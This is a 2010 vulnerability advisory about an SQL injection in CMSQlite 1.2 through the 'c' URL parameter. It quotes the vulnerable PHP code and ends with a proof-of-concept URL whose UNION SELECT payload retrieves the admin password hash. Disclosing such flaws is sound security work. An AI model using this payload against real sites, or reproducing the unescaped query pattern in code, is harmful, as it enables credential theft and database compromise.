MOPS-2010-029: CMSQlite c Parameter SQL Injection Vulnerability

May 15th, 2010

An SQL Injection vulnerability was discovered in CMSQlite that allows to retrieve all data from the database.

Affected versions

Affected is CMSQlite <= 1.2

Risk

High.

Credits

The vulnerability was discovered by Stefan Esser as part of the SQL Injection Marathon.

About CMSQlite

CMSQLite is a small, fast, flexible and complete Content-Management-System (CMS). It's perfect for freelancers, self-employeds, clubs and associations and small companies.

CMSQLite is a CMS, basing on PHP and SQLite. That has many advantages!

Detailed information

This vulnerability was discovered during SQL Injection Marathon a PHP code auditing marathon performed by Stefan Esser. The basic idea of this initiative is to select random PHP applications and perform a short code audit on them. The maximum time spent on each application is 30 minutes and after the first found SQL injection usually the next application is audited.

During SQL Injection Marathon CMSQlite was also audited and in less than 30 minutes it was possible to find an SQL injection vulnerability. The offending code is located in index.php.

```
if(isset($_GET['c'])){
   $contentId=$_GET['c'];
}else{
   if ($seo_url){
      $arrArticleInfo = $SYSTEM->resolveURL($_SERVER['REQUEST_URI'], $langId);
      if(empty($arrArticleInfo)){
         $contentId=1;
      }else{
         $contentId = $arrArticleInfo[0]['articleId'];
         $module = $arrArticleInfo[0]['module'];
      }
   }else{
      $contentId=1;
   }
}

$HTML->printHead($contentId);
```

This code passes the URL parameter c into the printHead() method where it is used inside an SQL query.

```
public function printHead($_contentId){
   $sql="SELECT * FROM meta";
   $meta = $this->DB->query($sql);

   $sql = "SELECT docTitle, docDesc, docKey FROM content WHERE id=$_contentId";
```

The URL parameter c that is passwd to printHead() is obviously inserted into the SQL query directly without any kind of filtering or escaping, which results in an SQL injection vulnerability.

Proof of concept, exploit or instructions to reproduce

The following URL retrieves the password hash of the admin user.

http://cmsqlite.audit/index.php?c=2-2%20UNION%20ALL%20SELECT%202,name%20||%20passw

Notes

This vulnerability has not been disclosed to the CMSQlite authors, yet.